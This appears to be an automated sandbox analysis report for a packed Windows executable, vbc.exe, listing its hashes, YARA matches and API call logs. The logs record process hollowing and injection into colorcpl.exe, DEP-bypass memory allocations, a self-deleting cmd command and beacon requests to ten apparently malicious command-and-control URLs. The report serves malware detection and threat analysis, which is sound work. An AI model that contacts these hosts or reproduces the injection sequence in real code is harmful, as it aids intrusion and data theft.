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vbc.exe

Malicious Packer
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 13, 2021, 11:31 a.m. April 13, 2021, 11:33 a.m.
Size 378.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 29e8627d7b80c21fc98c82314f3df5e2
SHA256 98bf20a283219c4cc786234b7d389766fddbe3b095d13c9109f5406128e83103
CRC32 251DAACF
ssdeep 6144:1wpTcyLItYxn3QDQN/rismCZyxB7HZ7g+xsoyEnGYgGI:1wpTd063QDQNSCZQB757txnG5l
Yara
  • PE_Header_Zero - PE File Signature Zero
  • OS_Processor_Check_Zero - OS Processor Check Signature Zero
  • win_files_operation - Affect private profile
  • Malicious_Packer_Zero - Malicious Packer
  • IsPE32 - (no description)
  • IsWindowsGUI - (no description)
  • HasOverlay - Overlay Check

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
section .fipuh
section .wuta
section .new
resource name None
suspicious_features GET method with no useragent header suspicious_request GET http://www.vinegret.com/nnmd/?GFQL=vSTcV67Wsym0gjaMHw+BLsLDF404VwtlM2ZL2+kS2oryP3sG0sNRMddYy5XCOzyR+w1r1rN4&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.israeldigitalblog.net/nnmd/?GFQL=RhKwvNZRq71Tr7FYOMJQyYr9uwiqQ6gfx1wpRXHKZy0OdMvbN5VELlZYmhSRX7q9d8bqmLsF&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.acernoxsas.com/nnmd/?GFQL=RIRhBHcBnpQFpzVEdm9Qn3YrBBK1OZbcUKpQDD4XzYml+x0kk9G8REWbCSESFdmiGdYULLFI&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.yetbor.com/nnmd/?GFQL=yFTKtd1luZIo7wvqEcSXbkRM0Fu9DXTErvPZ/33h4h9ltL5T5vX0h6V8ouFS6Gain5PLz56o&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.regalparkllc.com/nnmd/?GFQL=tTl8v8g2q+7FzdYz1UQNVvYPTgelaUE7gW7tW0qfdn51WjA1prpQnhugYZXHkQH8F1WTaXCY&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.scott-re.online/nnmd/?GFQL=YoDjfv9GFAPxmC/m/YrXEnPJINgN/ZGcUJt6czxWwkNRV1BAm2Kb0tXyCx+SX/c+MMPjJ8db&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.valid8.network/nnmd/?GFQL=CGq8FpRO0AiTL86OI7qyWUGcdnK3uFmp3WOqNHKk+zAOrlhHiWtpg/dTztC/+VOwDx9e6LJ8&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.samanthataylordesigns.com/nnmd/?GFQL=sVCsP3nYsNXlW4I2EqS3kB52HqjY7ZxXgFnkWYmWMO+p6LFBhhCa6Vg5Ah+KszLMV8i2Kccl&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.nevertraveled.com/nnmd/?GFQL=SYHpgW1+yTc6qOKF4v10dIdNZgCXdFrWPz9etZYqQDofpKwnSaEEWXbh+jQacXfWTKEwdu6J&Rl=VtX4M
suspicious_features GET method with no useragent header suspicious_request GET http://www.verochfotografa.com/nnmd/?GFQL=5OXGp+Ye6mLmJS8fiP7moOjeBKd2VER7UUKnbPVzr25Ffc+7XnMrSBGyQLkDJ090wwdXjBMo&Rl=VtX4M
request POST http://www.vinegret.com/nnmd/
request GET http://www.vinegret.com/nnmd/?GFQL=vSTcV67Wsym0gjaMHw+BLsLDF404VwtlM2ZL2+kS2oryP3sG0sNRMddYy5XCOzyR+w1r1rN4&Rl=VtX4M
request POST http://www.israeldigitalblog.net/nnmd/
request GET http://www.israeldigitalblog.net/nnmd/?GFQL=RhKwvNZRq71Tr7FYOMJQyYr9uwiqQ6gfx1wpRXHKZy0OdMvbN5VELlZYmhSRX7q9d8bqmLsF&Rl=VtX4M
request POST http://www.acernoxsas.com/nnmd/
request GET http://www.acernoxsas.com/nnmd/?GFQL=RIRhBHcBnpQFpzVEdm9Qn3YrBBK1OZbcUKpQDD4XzYml+x0kk9G8REWbCSESFdmiGdYULLFI&Rl=VtX4M
request POST http://www.yetbor.com/nnmd/
request GET http://www.yetbor.com/nnmd/?GFQL=yFTKtd1luZIo7wvqEcSXbkRM0Fu9DXTErvPZ/33h4h9ltL5T5vX0h6V8ouFS6Gain5PLz56o&Rl=VtX4M
request POST http://www.regalparkllc.com/nnmd/
request GET http://www.regalparkllc.com/nnmd/?GFQL=tTl8v8g2q+7FzdYz1UQNVvYPTgelaUE7gW7tW0qfdn51WjA1prpQnhugYZXHkQH8F1WTaXCY&Rl=VtX4M
request POST http://www.scott-re.online/nnmd/
request GET http://www.scott-re.online/nnmd/?GFQL=YoDjfv9GFAPxmC/m/YrXEnPJINgN/ZGcUJt6czxWwkNRV1BAm2Kb0tXyCx+SX/c+MMPjJ8db&Rl=VtX4M
request POST http://www.valid8.network/nnmd/
request GET http://www.valid8.network/nnmd/?GFQL=CGq8FpRO0AiTL86OI7qyWUGcdnK3uFmp3WOqNHKk+zAOrlhHiWtpg/dTztC/+VOwDx9e6LJ8&Rl=VtX4M
request POST http://www.samanthataylordesigns.com/nnmd/
request GET http://www.samanthataylordesigns.com/nnmd/?GFQL=sVCsP3nYsNXlW4I2EqS3kB52HqjY7ZxXgFnkWYmWMO+p6LFBhhCa6Vg5Ah+KszLMV8i2Kccl&Rl=VtX4M
request POST http://www.nevertraveled.com/nnmd/
request GET http://www.nevertraveled.com/nnmd/?GFQL=SYHpgW1+yTc6qOKF4v10dIdNZgCXdFrWPz9etZYqQDofpKwnSaEEWXbh+jQacXfWTKEwdu6J&Rl=VtX4M
request POST http://www.verochfotografa.com/nnmd/
request GET http://www.verochfotografa.com/nnmd/?GFQL=5OXGp+Ye6mLmJS8fiP7moOjeBKd2VER7UUKnbPVzr25Ffc+7XnMrSBGyQLkDJ090wwdXjBMo&Rl=VtX4M
request POST http://www.vinegret.com/nnmd/
request POST http://www.israeldigitalblog.net/nnmd/
request POST http://www.acernoxsas.com/nnmd/
request POST http://www.yetbor.com/nnmd/
request POST http://www.regalparkllc.com/nnmd/
request POST http://www.scott-re.online/nnmd/
request POST http://www.valid8.network/nnmd/
request POST http://www.samanthataylordesigns.com/nnmd/
request POST http://www.nevertraveled.com/nnmd/
request POST http://www.verochfotografa.com/nnmd/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 131072
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0031c000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 172032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03e60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2680
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008e0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1976
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\vbc.exe
file C:\Users\test22\AppData\Local\Temp\vbc.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2932
thread_handle: 0x000000f0
process_identifier: 2532
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000013c
1 1 0
section {u'size_of_data': u'0x0004ae00', u'virtual_address': u'0x00001000', u'entropy': 7.494906807445011, u'name': u'.text', u'virtual_size': u'0x0004ac63'} entropy 7.49490680745 description A section with a high entropy has been found
entropy 0.795484727756 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
cmdline /c del "C:\Users\test22\AppData\Local\Temp\vbc.exe"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2680
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2680
process_handle: 0x00000080
1 1 0
Process injection Process 2648 called NtSetContextThread to modify thread in remote process 2680
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4312976
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2680
1 0 0
Process injection Process 2648 resumed a thread in remote process 2680
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2680
1 0 0
dead_host 213.239.211.36:80
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2208
thread_handle: 0x0000007c
process_identifier: 2680
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 2680
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2680
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2680
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4312976
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2680
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2680
1 0 0

CreateProcessInternalW

 thread_identifier: 2044
thread_handle: 0x0000004c
process_identifier: 1976
current_directory:
filepath: C:\Windows\SysWOW64\colorcpl.exe
track: 1
command_line:
filepath_r: C:\Windows\SysWOW64\colorcpl.exe
stack_pivoted: 0
creation_flags: 134217740 (CREATE_NO_WINDOW|CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x000000bc
1 1 0

CreateProcessInternalW

 thread_identifier: 2932
thread_handle: 0x000000f0
process_identifier: 2532
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000013c
1 1 0
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